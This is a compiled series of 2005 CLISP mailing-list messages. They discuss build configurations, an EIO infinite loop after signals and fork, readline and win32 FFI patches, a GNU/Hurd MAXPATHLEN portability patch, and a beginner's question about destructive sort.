    .182])
    Software: GNU C 3.4.4 (cygming special) (gdc 0.12, using dmd 0.125)
    gcc -mno-cygwin -W -Wswitch -Wcomment -Wpointer-arith -Wimplicit -Wreturn-type
    Wmissing-declarations -Wno-sign-compare -O2 -fexpensive-optimizations -D_WIN32
    DUNICODE -DDYNAMIC_FFI -DNO_GETTEXT -I. -x none libcharset.a libavcall.a libcal
    back.a -lncurses  -luser32 -lws2_32 -lole32 -loleaut32 -luuid  -L/usr/local/lib
    igsegv-mingw/lib -lsigsegv -L/usr/X11R6/lib -lX11
    SAFETY=0 HEAPCODES STANDARD_HEAPCODES GENERATIONAL_GC SPVW_BLOCKS SPVW_MIXED TR
    VIALMAP_MEMORY
    libsigsegv 2.2
    Features:
    (REGEXP SYSCALLS I18N LOOP COMPILER CLOS MOP CLISP ANSI-CL COMMON-LISP LISP=CL
     INTERPRETER SOCKETS GENERIC-STREAMS LOGICAL-PATHNAMES SCREEN FFI UNICODE
     BASE-CHAR=CHARACTER PC386 WIN32)
    C Modules: (clisp i18n syscalls regexp)
    Installation directory: C:\sw\versions\clisp-bin\clisp-2.35\
    User language: ENGLISH
    Machine: PC/386 (PC/686) kbond [192.168.111.100]

The same thing happens with a locally compiled version build from CVS
pulled today, and my locally built libsigsegv-2.2 has a sigsegv.h that
has both HAVE_SIGSEGV_RECOVERY and HAVE_STACK_OVERFLOW_RECOVERY
defined.

Is this expected?
-- 
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Sam Steingold writes:
> > * Pascal Bourguignon <cwo@vasbezngvzntb.pbz> [2005-10-12 19:01:07 +0200]:
> >
> > On Linux 2.4.26/ix86, since the lisp script will write output, it suspends
> > itself until it gets back the terminal.
> >
> > On MacOSX 10.3.9/ppc7450, it works as I wanted. 
> >
> > (in both cases, thru a ssh session, if that matter for the terminal handling).
> > Perhaps the difference comes from the presence of absence of readline?
> 
> maybe - please try rebuilding --without-readline.

Well, it seems this is not the difference.

[pjb@thalassa tmp]$ /usr/local/languages/clisp-2.35-woreadline/bin/clisp --version
GNU CLISP 2.35 (2005-08-29) (built 3338139234) (memory 3338139704)
Software: GNU C 3.3 20030226 (prerelease) (SuSE Linux) 
gcc -W -Wswitch -Wcomment -Wpointer-arith -Wimplicit -Wreturn-type -Wmissing-declarations -Wno-sign-compare -O2 -fexpensive-optimizations -DUNICODE -DDYNAMIC_FFI -DNO_READLINE -I. -x none libcharset.a libavcall.a libcallback.a -lncurses -ldl   -lsigsegv -L/usr/X11R6/lib -lX11
SAFETY=0 HEAPCODES LINUX_NOEXEC_HEAPCODES GENERATIONAL_GC SPVW_BLOCKS SPVW_MIXED TRIVIALMAP_MEMORY
libsigsegv 2.2
Features: 
(REGEXP SYSCALLS I18N LOOP COMPILER CLOS MOP CLISP ANSI-CL COMMON-LISP LISP=CL
 INTERPRETER SOCKETS GENERIC-STREAMS LOGICAL-PATHNAMES SCREEN FFI GETTEXT
 UNICODE BASE-CHAR=CHARACTER PC386 UNIX)
C Modules: (clisp i18n syscalls regexp)
Installation directory: /usr/local/languages/clisp-2.35-woreadline/lib/clisp/
User language: ENGLISH
Machine: I686 (I686) thalassa.informatimago.com [62.93.174.79]

[pjb@thalassa tmp]$ /usr/local/languages/clisp-2.35-woreadline/bin/clisp -ansi -q -norc -K full -x '(unwind-protect (sleep 60)
        (format t "Clean-up!")
        (finish-output))' & p=$!
> > [1] 15706
[pjb@thalassa tmp]$ kill $p

[1]+  Stopped                 /usr/local/languages/clisp-2.35-woreadline/bin/clisp -ansi -q -norc -K full -x '(unwind-protect (sleep 60)
        (format t "Clean-up!")
        (finish-output))'
[pjb@thalassa tmp]$ fg
/usr/local/languages/clisp-2.35-woreadline/bin/clisp -ansi -q -norc -K full -x '(unwind-protect (sleep 60)
        (format t "Clean-up!")
        (finish-output))'
Exiting on signal 15
Clean-up!
[pjb@thalassa tmp]$ /usr/local/languages/clisp-2.35-woreadline/bin/clisp -ansi -q -norc -K full -x '(unwind-protect (sleep 60)
        (format t "Clean-up!")
        (finish-output) (ext:quit))' & p=$!
> > [1] 15809
[pjb@thalassa tmp]$ kill $p

[1]+  Stopped                 /usr/local/languages/clisp-2.35-woreadline/bin/clisp -ansi -q -norc -K full -x '(unwind-protect (sleep 60)
        (format t "Clean-up!")
        (finish-output) (ext:quit))'
[pjb@thalassa tmp]$ fg
/usr/local/languages/clisp-2.35-woreadline/bin/clisp -ansi -q -norc -K full -x '(unwind-protect (sleep 60)
        (format t "Clean-up!")
        (finish-output) (ext:quit))'
Exiting on signal 15
Clean-up!
[pjb@thalassa tmp]$ cat cs
#!/bin/bash
cat > test.lisp <<EOF
(unwind-protect (sleep 60)
        (format t "Clean-up!")
        (finish-output)
        (ext:quit))
EOF
/usr/local/languages/clisp-2.35-woreadline/bin/clisp -ansi -q -norc -K full test.lisp & p=$!
sleep 4
kill $p

[pjb@thalassa tmp]$ ./cs

*** - UNIX error[pjb@thalassa tmp]$  5 (EIO): I/O error
Clean-up!
*** - UNIX error 5 (EIO): I/O error

[pjb@thalassa tmp]$ 



Note: the following scrit:

#!/bin/bash
cat > test.lisp <<EOF
(let ((pid (linux:|fork|)))
   (if (zerop pid)
     (unwind-protect (sleep 60)
        (format t "Clean-up!")
        (finish-output)
        (ext:quit))
     (progn (sleep 4)
            (linux:|kill| pid 3)
            (ext:quit))))
EOF
/usr/local/languages/clisp-2.35-woreadline/bin/clisp -ansi -q -norc -K full test.lisp

produces an infinite loop:

[pjb@thalassa tmp]$ il 2>&1 | head -20
Exiting on signal 3
Clean-up!
[pjb@thalassa tmp]$ il
[pjb@thalassa tmp]$ 
*** - UNIX error 5 (EIO): I/O error
Clean-up!
*** - UNIX error 5 (EIO): I/O error
[1]> 
*** - UNIX error 5 (EIO): I/O error
[3]> 
*** - UNIX error 5 (EIO): I/O error
[5]> 
*** - UNIX error 5 (EIO): I/O error
[7]> 
*** - UNIX error 5 (EIO): I/O error
[9]> 
*** - UNIX error 5 (EIO): I/O error
...



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   From: Sam Steingold <sds@gnu.org>
   Date: Thu, 29 Sep 2005 18:27:39 -0400

   > * Ron Olsson <byffba@pf.hpqnivf.rqh> [2005-09-16 15:10:03 -0700]:
   >
   > dribble behaves differently between clisp-2.33.2 and clisp-2.35.

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   that said, I think I restored the dribble behavior you wanted
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Great!  I'll look for that in the next release.

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Sam Steingold wrote:

> typo
> please try the appended patch instead.
> (or just replace "-L/usr/local " with "-L/usr/local/lib " in configure)
> 

excuse me, but IMHO patch is identical practically previous

and

$ grep L/usr/local src/configure

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Sam Steingold wrote:

> typo
> please try the appended patch instead.
> (or just replace "-L/usr/local " with "-L/usr/local/lib " in configure)

if termcap library move from /usr/local to / - clisp is build

if my problem has low priority - it can be left

But I continue debug it with pleasure.

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> if termcap library move from /usr/local to / - clisp is build

also I build clisp without last patch for src/configure, but with patch
for src/makemake.in only

And I should remove #+UNIX from src/complete.lisp

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clisp+readline+mingw

For what is necessary function tgetent if it is not used anywhere?

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please, append some functions form appended patch
(or me with it address to Tomas Zellerin?)

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Index: modules/readline/readline.lisp
===================================================================
--- readline.lisp	Thu Oct  6 01:54:32 2005
+++ readline.lisp	Fri Oct 14 07:14:26 2005
@@ -66,6 +66,17 @@
   (:arguments (name c-string))
   (:return-type readline-command))

+;;; Terminal
+
+(def-call-out set-screen-size (:name "rl_set_screen_size")
+  (:arguments (rows int) (columns int))
+  (:return-type nil))
+
+(def-call-out get-screen-size (:name "rl_get_screen_size")
+  (:arguments (rows (c-ptr int) :out :alloca)
+              (columns (c-ptr int) :out :alloca))
+  (:return-type nil))
+
 ;;; Redisplay

 (def-call-out redisplay (:name "rl_redisplay")


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Date: Fri Oct 14 02:41:50 2005
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Sam Steingold wrote:

>> A style question - why are defined variables not starred?
>good question.
>we do not star foreign variables, see
>grep -r -i def-c-var modules/
>I don't know why, it's just they way it always has been.

Foreign variables behave nowhere like special variables, why star them?

If you rebind them (with LET), you loose them (symbol-macrolet is shadowed by let).

If these variables are read-only, consider
 + using the :read-only option to def-c-var
 + using +foo+ around the names because their intended use is similar to that of constants.

IIRC, cl-sdl or cl-gl does the latter (some default fonts are declared this way).

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> Foreign variables behave nowhere like special variables, why star them?
>
> If you rebind them (with LET), you loose them (symbol-macrolet is shadowe=
d by let).
I was confused - I thought they do, do not know why. Thanks for clarificati=
on.

>
> If these variables are read-only, consider
>  + using the :read-only option to def-c-var
I do that.

>  + using +foo+ around the names because their intended use is similar to =
that of constants.

This is not always the case, the value can be sometimes set by other
means (e.g., a function). It would probably be cleanest to arrange it
so that (setf prompt value) translates to (set-prompt value), but I
did not that. Is there an idiom for that? I could probably do it by
defining symbol macro, naming the set-prompt as (setf prompt) etc.,
but it does not seem worthy the result.

But where the foreign variable really is constant, it is reasonable
suggestion. OTOH, is there then any need to have it as external
variable and not get the value and translate it to lisp constant,
instead of keeping its address as constant? (I hope previous sentence
makes sense).

Since I am already writing to you, an allocation question: is there a
way how to declare allocation policy for a ffi function (e.g.,
rl_funmap_names) that returns malloc-allocated nil-terminated array
(that should be freed) of fixed strings (that must not be freed)?

Regards,

Tomas Zellerin


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clisp from CVS with readline, mingw

I apply my patch for readline with rl_set_screen_size and
rl_get_screen_size functions.

I apply patch for win32 for GetConsoleScreenBufferInfo function (applied)

I define next function:

(defun reset-screen-size ()
  (multiple-value-bind (res csbi)
      (WIN32:GetConsoleScreenBufferInfo
        (WIN32:GetStdHandle WIN32:STD_OUTPUT_HANDLE))
    (when res
      (let* ((win (cadddr csbi))
             (rows (- (cadddr win) (cadr win) -1))
             (columns (- (caddr win) (car win) -1)))
        (when (and (plusp rows) (plusp columns))
          (readline:set-screen-size rows columns)
          (cons rows columns))))))

and append in ~/.clisprc

(let ((win (reset-screen-size)))
  (when win
    (format t "Set readline screen size to ~Ax~A~%"
            (cdr win) (car win))))


run clisp:

$ clisp -K full --quiet
;; Loading file C:\Documents and
Settings\Kavenchuk_Yaroslav\.clisprc.fas ...
;;  Loading file C:\CL\lib\patches\win32\win32.fas ...
;;  Loaded file C:\CL\lib\patches\win32\win32.fas
;;  Loading file C:\CL\lib\patches\readline\readline.fas ...
;;  Loaded file C:\CL\lib\patches\readline\readline.fas
Set readline screen size to 100x35
;;  Loading file C:\CL\lib\cclan\asdf\asdf.fas ...
;;  Loaded file C:\CL\lib\cclan\asdf\asdf.fas
;; Loaded file C:\Documents and Settings\Kavenchuk_Yaroslav\.clisprc.fas

but after loading ~/.clisprc readline reset to default parameters:

[1]> (readline:get-screen-size)
24 ;
80

(reset-screen-size) is work:

[2]> (reset-screen-size)
(35 . 100)
[3]> (readline:get-screen-size)
35 ;
100

Why? And how bypass it?

Thanks!

-- 
WBR, Yaroslav Kavenchuk.


Index: modules/bindings/win32/win32.lisp
===================================================================
--- modules/bindings/win32/win32.lisp	Thu Oct  6 02:03:29 2005
+++ modules/bindings/win32/win32.lisp	Fri Oct 14 08:43:56 2005
@@ -196,6 +196,31 @@
   (:arguments (title c-string))
   (:return-type boolean))

+(def-c-type SMALL_RECT
+  (c-struct list
+    (Left short)
+    (Top short)
+    (Right short)
+    (Bottom short)))
+
+(def-c-type COORD
+  (c-struct list
+    (X short)
+    (Y short)))
+
+(def-c-type CONSOLE_SCREEN_BUFFER_INFO
+  (c-struct list
+    (dwSize COORD)
+    (dwCursorPosition COORD)
+    (wAttributes word)
+    (srWindow SMALL_RECT)
+    (dwMaximumWindowSize COORD)))
+
+(def-call-out GetConsoleScreenBufferInfo (:library kernel32)
+  (:arguments (StdHandle handle)
+              (csbiInfo (c-ptr CONSOLE_SCREEN_BUFFER_INFO) :out :alloca))
+  (:return-type boolean))
+
 ;; system information
 (def-call-out GetSystemDirectoryA (:library kernel32)
   (:arguments (buffer (c-ptr (c-array-max character #.MAX_PATH)) :out
:alloca)



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multi-line command split to separate lines after save in history
(~/.clisp-history) and load from it

How correct it?

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Hi,

Pascal Bourguignon wrote:
>Note: the following scrit:
>produces an infinite loop:
>*** - UNIX error 5 (EIO): I/O error
>Clean-up!
>*** - UNIX error 5 (EIO): I/O error
>[1]> 
>*** - UNIX error 5 (EIO): I/O error
>[7]> 
>*** - UNIX error 5 (EIO): I/O error
>[9]> 
>*** - UNIX error 5 (EIO): I/O error
>...

This is exactly the thing I had with Amiga-CLISP over 10 years ago.
We added the option -q back then to help a little bit. What happened was as follows:

CLISP would try to write "Bye" to the closed output stream, and then try to signal an error, also to the closed output stream. A lot of error handlers would pile up, eventually leading to a stack overflow, unwind the stack and then piling up errors again trying to get the error message out. That would repeat indefinitely...

Unlike typical C programs which do not care to check the success of I/O and don't care whether "^C" was written to the console, CLISP checks all I/O and wants to report errors, even at shutdown time when all is needed is to go away. My proposal, >10 years ago, to introduce a "shutdown" flag not to care about I/O errors any more, was turned down back then. I don't know what other approach could be taken.

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	Jorg Hohle.


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> * Yaroslav Kavenchuk <xnirapuhx@wragl.ol> [2005-10-14 14:06:42 +0300]:
>
> multi-line command split to separate lines after save in history
> (~/.clisp-history) and load from it
>
> How correct it?

try removing

          strcat(new_line,"\n");

in rd_ch_terminal3()
maybe.

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Hoehle, Joerg-Cyril writes:
> Hi,
> 
> Pascal Bourguignon wrote:
> >Note: the following scrit:
> >produces an infinite loop:
> >*** - UNIX error 5 (EIO): I/O error
> >Clean-up!
> >*** - UNIX error 5 (EIO): I/O error
> >[1]> 
> >*** - UNIX error 5 (EIO): I/O error
> >[7]> 
> >*** - UNIX error 5 (EIO): I/O error
> >[9]> 
> >*** - UNIX error 5 (EIO): I/O error
> >...
> 
> This is exactly the thing I had with Amiga-CLISP over 10 years ago.
> We added the option -q back then to help a little bit. What happened
> was as follows:
> 
> CLISP would try to write "Bye" to the closed output stream, and then
> try to signal an error, also to the closed output stream. A lot of
> error handlers would pile up, eventually leading to a stack
> overflow, unwind the stack and then piling up errors again trying to
> get the error message out. That would repeat indefinitely...
> 
> Unlike typical C programs which do not care to check the success of
> I/O and don't care whether "^C" was written to the console, CLISP
> checks all I/O and wants to report errors, even at shutdown time
> when all is needed is to go away. My proposal, >10 years ago, to
> introduce a "shutdown" flag not to care about I/O errors any more,
> was turned down back then. I don't know what other approach could be
> taken.

I don't know what clisp does, but in C when you call fork, you
duplicate all file descriptors, and if one of the parent or children
close one file descriptor, it's still open in the other process.

Anyways, it seems to occur only when finish-output is called from the
child.  [At least, from the "terminal" (emacs shell), finish-output
doesn't seem to be necessary to get the line immediately.]  

This infinite looping behavior occurs in other cases (closing or other
mungling with streams).  Perhaps the error handler could check if it's
re-entering and muffle itself automatically in these cases?


[pjb@thalassa tmp]$ clisp -ansi -q -norc -K full -x '(if (zerop (linux:fork)) (progn (sleep 2) (print :child) (sleep 2) (print :exiting) (ext:quit)) (progn (sleep 1) (ext:quit)))'
[1]> 
[pjb@thalassa tmp]$ 
:CHILD 
:EXITING 
clisp -ansi -q -norc -K full -x '(if (not (zerop (linux:fork))) (progn (sleep 2) (print :parent) (sleep 2) (print :exiting) (ext:quit)) (progn (sleep 1) (ext:quit)))'
[1]> 

:PARENT 
:EXITING 
[pjb@thalassa tmp]$ 
[pjb@thalassa tmp]$ clisp -ansi -q -norc -K full -x '(if (zerop (linux:fork)) (progn (sleep 2) (print :child) (finish-output) (sleep 2) (print :exiting) (ext:quit)) (progn (sleep 1) (ext:quit)))'
[1]> 
[pjb@thalassa tmp]$ 
:CHILD 
*** - UNIX error 5 (EIO): I/O error
[3]> 
*** - UNIX error 5 (EIO): I/O error
[5]> 
*** - UNIX error 5 (EIO): I/O error

[pjb@thalassa tmp]$ [pjb@thalassa tmp]$ clisp -ansi -q -norc -K full -x '(if (zerop (linux:fork)) (progn (sleep 2) (print :child) (sleep 2) (print :exiting)  (finish-output) (ext:quit)) (progn (sleep 1) (ext:quit)))'
[1]> 
[pjb@thalassa tmp]$ 
:CHILD 
:EXITING 
*** - UNIX error 5 (EIO): I/O error
[3]> 
*** - UNIX error 5 (EIO): I/O error
[5]> 
*** - UNIX error 5 (EIO): I/O error
[7]> 

[pjb@thalassa tmp]$ [pjb@thalassa tmp]$ clisp -ansi -q -norc -K full -x '(if (not (zerop (linux:fork))) (progn (sleep 2) (print :parent) (finish-output) (sleep 2) (print :exiting) (ext:quit)) (progn (sleep 1) (ext:quit)))'
[1]> 

:PARENT 
:EXITING 
[pjb@thalassa tmp]$ clisp -ansi -q -norc -K full -x '(if (not (zerop (linux:fork))) (progn (sleep 2) (print :parent) (sleep 2) (print :exiting)  (finish-output) (ext:quit)) (progn (sleep 1) (ext:quit)))'
[1]> 

:PARENT 
:EXITING 
[pjb@thalassa tmp]$ 

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Tomas Zellerin writes:
OTOH, is there then any need to have it as external
>variable and not get the value and translate it to lisp constant,

Sure. One would convert once and for all, while the other causes =
conversion each time when needed. Consider restarting from an image. =
You wouldn't want to have an old Lisp constant that points to memory =
from an ancient session.

Of course, within the section the thing is constant so a shortcut could =
be taken, but then you need to provide for detecting new sessions and =
updates.

>Since I am already writing to you, an allocation question: is there a
>way how to declare allocation policy for a ffi function (e.g.,
>rl_funmap_names) that returns malloc-allocated nil-terminated array
>(that should be freed) of fixed strings (that must not be freed)?

No, the clisp FFI does not offer such fine granularity. It's either a =
full descent & freeing of all freeable objects accessible from a =
parameter, or nothing. You could play tricks with casting, but I don't =
recommend that since it obscures the behaviour. FFI:FREE-FOREIGN &key =
:FULL is available now, just use it with :full nil in your example.

Regards,
	J=F6rg H=F6hle.


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> * Yaroslav Kavenchuk <xnirapuhx@wragl.ol> [2005-10-14 13:54:45 +0300]:
>
>
> $ clisp -K full --quiet
> ;; Loading file C:\Documents and
> Settings\Kavenchuk_Yaroslav\.clisprc.fas ...
> ;;  Loading file C:\CL\lib\patches\win32\win32.fas ...
> ;;  Loaded file C:\CL\lib\patches\win32\win32.fas
> ;;  Loading file C:\CL\lib\patches\readline\readline.fas ...
> ;;  Loaded file C:\CL\lib\patches\readline\readline.fas
> Set readline screen size to 100x35
> ;;  Loading file C:\CL\lib\cclan\asdf\asdf.fas ...
> ;;  Loaded file C:\CL\lib\cclan\asdf\asdf.fas
> ;; Loaded file C:\Documents and Settings\Kavenchuk_Yaroslav\.clisprc.fas
>
> but after loading ~/.clisprc readline reset to default parameters:
>
> [1]> (readline:get-screen-size)
> 24 ;
> 80
>
> (reset-screen-size) is work:
>
> [2]> (reset-screen-size)
> (35 . 100)
> [3]> (readline:get-screen-size)
> 35 ;
> 100
>

apparently the internal readline screen size detection (invoked between
your (reset-screen-size) and the first prompt output) is not too good.
please discuss this with the readline maintainer and do report back here
what you find out!

thanks.

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> * Pascal Bourguignon <cwo@vasbezngvzntb.pbz> [2005-10-14 15:57:11 +0200]:
>
> I was trying to run gatlopp on clisp:
> http://src.hexapodia.net/gatlopp.tar.gz   (actually extracts to
> gatlopp_0.3, if you don't get the same, I'll send you the archive),
>
> when clx.f asked me to inform the authors of an internal error:
>
> *** - Internal error: statement in file "clx.f", line 6648 has been reached!!
>       Please send the authors of the program a description how you produced
>       this error!

XLIB:CHANGE-KEYBOARD-CONTROL is not implemented.
if you would like to work on this, just go ahead.
otherwise, please try to figure out what other functions missing in
new-clx gatlopp needs.
to do that, you will need to replace (XLIB:CHANGE-KEYBOARD-CONTROL ...)
forms in the gatlopp sources with something like (warn "not implemented:
~S") and try running gatlopp again.

thanks.

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Date: Fri Oct 14 12:10:22 2005
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Is there any reason version.sh is missing from clisp-2.35.tar.bz2 and clisp-2.35.tar.gz?
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Hello,

I have (hopefully) successfully ported CLisp to GNU/Hurd.  However, 
there was the issue that GNU/Hurd does not define MAXPATHLEN.

This is not a bug in GNU/Hurd, as POSIX does not require MAXPATHLEN and 
neither do the GNU Coding Standards.  For major parts of the code, the 
existence of MAXPATHLEN is asserted by an #ifndef clause.

The only exception is src/execname.c, and I have decided to fix it 
according to the GNU Coding Standards, which means that MAXPATHLEN is 
not used at all, or at least not if not defined natively.

Could you review the patch below?


Sören

PS: I am not subscribed, so please CC me.

--- clisp-2.35.orig/src/execname.c
+++ clisp-2.35/src/execname.c
@@ -125,12 +125,22 @@
    /* exec treats paths containing slashes as relative to the current
       directory */
    if (maybe_executable(program_name)) {
+    char *new_exec_name;
+
     resolve:
      /* resolve program_name: */
+# ifdef MAXPATHLEN
      executable_name = (char*) malloc(MAXPATHLEN);
      if (executable_name == NULL) { errno = ENOMEM; goto notfound; }
-    if (realpath(program_name,executable_name) == NULL) {
-      free(executable_name); goto notfound;
+# else
+    executable_name = NULL;
+# endif
+    new_exec_name = realpath(program_name,executable_name);
+    if (new_exec_name == NULL) {
+      free(executable_name);
+      goto notfound;
+    } else {
+      executable_name = new_exec_name;
      }
      return 0;
    }


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Hi all ...

I'm a newbie in CLisp programmation and I've a problem I don't understand :(
I have function that create a particular list and I want to return this 
list ordered in two different ways... the end of the function is :

       (print (sort lst #'move_morep))
       (list (sort lst #'move_morep) (sort lst #'move_lessp))))

with lst the list computed by the function. The print is here only for 
debug, when the function is launched is the lisp interpreter, the result 
is :

((0 2) (1 1) (2 0) (0 1) (1 0))
(((1 0) (0 1) (2 0) (1 1) (0 2)) ((1 0) (0 1) (2 0) (1 1) (0 2)))

The first line is the print result and correspond to the result I really 
want, but the list do not return it and I don't understand why !

If someone can help me, I'll appreciate that !

GrdScarabe


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GrdScarabe writes:
> I'm a newbie in CLisp programmation and I've a problem I don't understand :(
> I have function that create a particular list and I want to return this 
> list ordered in two different ways... the end of the function is :

Read better CLHS!
sort is destructive.
 
>        (print (sort lst #'move_morep))
>        (list (sort lst #'move_morep) (sort lst #'move_lessp))))

   (list (sort (copy-seq lst) (function move-morep))
         (sort (copy-seq lst) (function move-lessp)))

You can also return multiple values instead of consing a new list:

   (values (sort (copy-seq lst) (function move-morep))
           (sort (copy-seq lst) (function move-lessp)))

And you collect them with:

  (multiple-value-bind (increasing decreasing) (generate-lists ...)
     (print increasing)
     (print decreasing))


General lisp questions are better asked on news:comp.lang.lisp

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Date: Sat Oct 15 17:10:11 2005
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Hallo

Found a missing ) in impnotes 2.35.

20.1. The Files Dictionary [CLHS-20.2]
...
Function DIRECTORY
...
If you want all the files and subdirectories in the current directory,
you should use (NCONC (DIRECTORY "*/") <--- here

 (DIRECTORY "*")). If you want all the files and subdirectories in all
the subdirectories under the current directory (similar to the ls -R
UNIX command), use (NCONC (DIRECTORY "**/") <--- here

 (DIRECTORY "**/*")). 


;; ------------------------------------------------------------
   and the rest of the story:

[51]> (setf dir (nconc (directory "*")))   ; (setf dir home)
...
[52]> dir
(#P"C:\\CL235\\HyperSpec\\" #P"C:\\CL235\\wxcl-1.1.0\\"
 #P"C:\\CL235\\syscalls\\" #P"C:\\CL235\\src\\" #P"C:\\CL235\\regexp\\"
 #P"C:\\CL235\\rawsock\\" #P"C:\\CL235\\postgresql\\"
#P"C:\\CL235\\linkkit\\"
 #P"C:\\CL235\\i18n\\" #P"C:\\CL235\\full\\" #P"C:\\CL235\\emacs\\"
 #P"C:\\CL235\\doc\\" #P"C:\\CL235\\dirkey\\" #P"C:\\CL235\\data\\"
 #P"C:\\CL235\\bindings\\" #P"C:\\CL235\\base\\")

[53> (setf dirall (nconc (directory "*/")))
...
[54]> dirall 
(#P"C:\\CL235\\test" #P"C:\\CL235\\HyperSpec-README.text"
 #P"C:\\CL235\\HyperSpec-Legalese.text" #P"C:\\CL235\\LESEN.TXT"
 #P"C:\\CL235\\ANNOUNCE.TXT" #P"C:\\CL235\\install.bat"
 #P"C:\\CL235\\SUMMARY.TXT" #P"C:\\CL235\\README.TXT"
#P"C:\\CL235\\NEWS.TXT"
 #P"C:\\CL235\\clisp.exe" #P"C:\\CL235\\GNU-GPL.TXT"
 #P"C:\\CL235\\COPYRI~1.TXT" #P"C:\\CL235\\CLISP-~1.TXT")

  ... aha -nice
[55]> (user-homedir-pathname)
#P"C:\\CL235\\"
[56]> (setf home (user-homedir-pathname))
#P"C:\\CL235\\"
[57]> home
#P"C:\\CL235\\"
[58]> (setf work .... öhm 
      now we come to something complitly different:
      (read-from-file :continue :input *impnotes.htm*) 
   ... AHSO

[58]> (ext:dir)
...
C:\CL235\clisp.exe                       620836       2005-08-29
17:32:40
C:\CL235\install.bat                        726       2005-03-10
15:25:24
C:\CL235\test                                 0       2005-10-15
23:50:08
C:\CL235\winload.txt                        352       2005-10-16
00:48:58

  **damm  25-line-box-scroll
  mom

[60]> (ext:dir/b)

*** - READ from
       #<INPUT CONCATENATED-STREAM #<INPUT STRING-INPUT-STREAM>
         #<IO TERMINAL-STREAM>>
      : #<PACKAGE EXT> has no external symbol with name "DIR/B"
The following restarts are available:
ABORT          :R1      ABORT
Break 1 [60]> :a

  hmmm ... double click on command.com and insert

C:\> dir/?
...(scrolling-rest)...
               (Erweiterte oder mehrere Dateiangaben sind zulässig.)
  /P           Zeigt die Informationen seitenweise an.
  /W           Zeigt die Informationen im Breitformat an.
  /A           Zeigt Dateien mit den angegebenen Attributen an.
  Attribute     D  Verzeichnisse              R  Schreibgeschützte
Dateien
                H  Versteckte Dateien         A  Zu archivierende
Dateien
                S  Systemdateien
                -  vorangestellt kehrt die Bedeutung um
  /O           Listet Dateien sortiert auf.
  Sortierfolge  N  Name (alphabetisch)        S  Größe (kleinere zuerst)
                E  Erweiterung (alphabetisch) D  Datum/Uhrzeit (ältere
zuerst)
                G  Verzeichnisse zuerst
                -  vorangestellt kehrt die Sortierung um
                A  Datum des letzten Zugriffs (frühester zuerst)
  /S           Zeigt Dateien im Verzeichnis und dessen
Unterverzeichnissen an.
  /B           Einfaches Format (kein Vorspann oder Zusammenfassung).
  /L           Kleinschreibung.
  /V           Ausführliche Anzeige.
  /4           Zeigt vierstellige Jahreszahl an (ignoriert wenn /V
gewählt ist).


Optionen können in der Umgebungsvariablen DIRCMD voreingestellt werden.
- vor einer Option deaktiviert die Voreinstellung, z.B. /-W.

   hmmm ... should I use <FFI:FOREIGN-FUNCTION DIR/? #x...>?
   but soon I test (os:ls --help) on suse


bye for now and have fun
stefan
playing newbie :)


... uuuh
clisp-list@lists.sf.net   ; CLISP FAQ list
or
clisp-list@lists.sourceforge.net  ; impnotes


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> * T. Kurt Bond <gxo@gxo.zcy.pbz> [2005-10-14 14:34:38 -0400]:
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> Is there any reason version.sh is missing from clisp-2.35.tar.bz2 and
> clisp-2.35.tar.gz?

what do you need it for?

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> * Soeren D. Schulze <fbrera.q.fpuhymr@tzk.qr> [2005-10-15 15:49:14 +0200]:
>
> there was the issue that GNU/Hurd does not define MAXPATHLEN.
>
> This is not a bug in GNU/Hurd, as POSIX does not require MAXPATHLEN and
> neither do the GNU Coding Standards.  For major parts of the code, the
> existence of MAXPATHLEN is asserted by an #ifndef clause.

thanks.
what is the difference between MAXPATHLEN and MAX_PATH?
(and what is the latter's value on hurd?)

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Sam Steingold schrieb:
>>* Soeren D. Schulze <fbrera.q.fpuhymr@tzk.qr> [2005-10-15 15:49:14 +0200]:
>>
>>there was the issue that GNU/Hurd does not define MAXPATHLEN.
>>
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>>neither do the GNU Coding Standards.  For major parts of the code, the
>>existence of MAXPATHLEN is asserted by an #ifndef clause.
> 
> 
> thanks.
> what is the difference between MAXPATHLEN and MAX_PATH?
> (and what is the latter's value on hurd?)

I don't know about the difference.  I assume it is equivalent.  GNU 
libc's realpath uses PATH_MAX, at least, if defined by the system, they 
say in the documentation.

GNU philosophy is, however, that there should be no limits at all.  So 
under GNU/Hurd, neither MAXPATHLEN nor MAX_PATH are defined.  Right now 
this makes me ponder about other uses of MAXPATHLEN in CLisp because 
CLisp defines MAXPATHLEN itself in the .d files.  The point is that if 
you define MAXPATHLEN yourself but realpath thinks there are no limits, 
couldn't this cause a buffer overflow?  I will have to check where 
MAXPATHLEN is also used and if there are functions that behave 
differently if MAXPATHLEN is undefined on the system -- like realpath.

Another problem is that my patch does an assumption: that if MAXPATHLEN 
is undefined, realpath supports being called with NULL.  This is the 
case for all the systems I know (GNU/Hurd being the only system that 
does not define MAXPATHLEN), but if one tries to compile it on a system 
that does not fit this assumption, it will create a subtle runtime error.

In any case, beware removing the "# ifdef MAXPATHLEN" case.  This would 
introduce a build error for all systems that do not support realpath 
being called with NULL.

Nevertheless, if you have reviewed the patch and you think it works, it 
is probably safe to apply it as it will not affect other systems being 
currently supported.


Sören


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Sam Steingold writes:
> > * T. Kurt Bond <gxo@gxo.zcy.pbz> [2005-10-14 14:34:38 -0400]:
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> > Is there any reason version.sh is missing from clisp-2.35.tar.bz2 and
> > clisp-2.35.tar.gz?
> 
> what do you need it for?

How about:
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    ./configure: line 161: ./version.sh: No such file or directory

doc/Makefile has impnotes.xml depending on it, so any attempt to build
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> * Pascal Bourguignon <cwo@vasbezngvzntb.pbz> [2005-10-13 00:22:30 +0200]:
>
>
> [pjb@thalassa tmp]$ /usr/local/languages/clisp-2.35-woreadline/bin/clisp -ansi -q -norc -K full -x '(unwind-protect (sleep 60)
>         (format t "Clean-up!")
>         (finish-output))' & p=$!
>> > [1] 15706
> [pjb@thalassa tmp]$ kill $p
>
> [1]+  Stopped                 /usr/local/languages/clisp-2.35-woreadline/bin/clisp -ansi -q -norc -K full -x '(unwind-protect (sleep 60)
>         (format t "Clean-up!")
>         (finish-output))'
> [pjb@thalassa tmp]$ fg
> /usr/local/languages/clisp-2.35-woreadline/bin/clisp -ansi -q -norc -K full -x '(unwind-protect (sleep 60)
>         (format t "Clean-up!")
>         (finish-output))'
> Exiting on signal 15
> Clean-up!

this is bug in bash - this does not happen under other shells.
(and yes, this has nothing to do with readline&clisp)

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> * T. Kurt Bond <gxo@gxo.zcy.pbz> [2005-10-16 17:53:54 -0400]:
>
> Sam Steingold writes:
>> > * T. Kurt Bond <gxo@gxo.zcy.pbz> [2005-10-14 14:34:38 -0400]:
>> >
>> > Is there any reason version.sh is missing from clisp-2.35.tar.bz2 and
>> > clisp-2.35.tar.gz?
>> 
>> what do you need it for?
>
> How about:
